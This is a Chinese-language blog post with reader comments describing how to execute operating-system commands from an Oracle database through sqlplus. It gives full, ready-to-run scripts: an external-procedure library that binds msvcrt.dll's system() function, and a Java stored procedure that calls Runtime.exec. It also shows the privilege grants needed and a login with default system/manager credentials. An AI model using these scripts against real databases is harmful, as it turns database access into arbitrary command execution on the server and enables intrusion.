oracle执行cmd

作者:lcx

装了一个oracle db11g,于是想试一下网上流传的在sqlplus中执行cmd的一些命令,也不知怎么的,没一个好用的,可能是网上转来转去的转错了.不过有一个简单的执行cmd命令方法:

SQL> host net user

User accounts for \\PC-ATQHJ4UG1SDA

—————————————————————————-
__vmware_user__          admin                    Administrator
ASPNET                   Guest                    IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA     SUPPORT_388945a0
The command completed successfully.

unix或linux下用

! command

======================补充======================

网上的另两种方法:

1是利用msvcrt.dll

写一个c:\orac.sql

内容:

Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to [email protected]
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

然后

C:\>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 – Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分别是用户名密码和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec (‘dir > c:\oracle.txt’);

结果在我本机出现

第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 “SYSTEM.ORACMD”, line 2
ORA-06512: 在 line 1

没有成功。

第二种方法

c:\1.sql

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

c:\2.sql

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

c:\3.sql

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;

登陆上去后依旧是依次执行

SQL> @c:\1.sql
/

@c:\2.sql

/

@c:\3.sql

/

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)

exec :x:=run_cmz(‘ipconfig’); 成功运行了命令

测试环境win2003+oracle11g

    这都是已经网上公布的了

    有没有什么新的方法呢

    看来功能强大
    方便了你
    也方便了我

    host是执行本机的命令,和你本地打开个cmd一样,你胡乱想了吧.

  • darkmi

    测试了一下,好用,不过很少有这种需求。
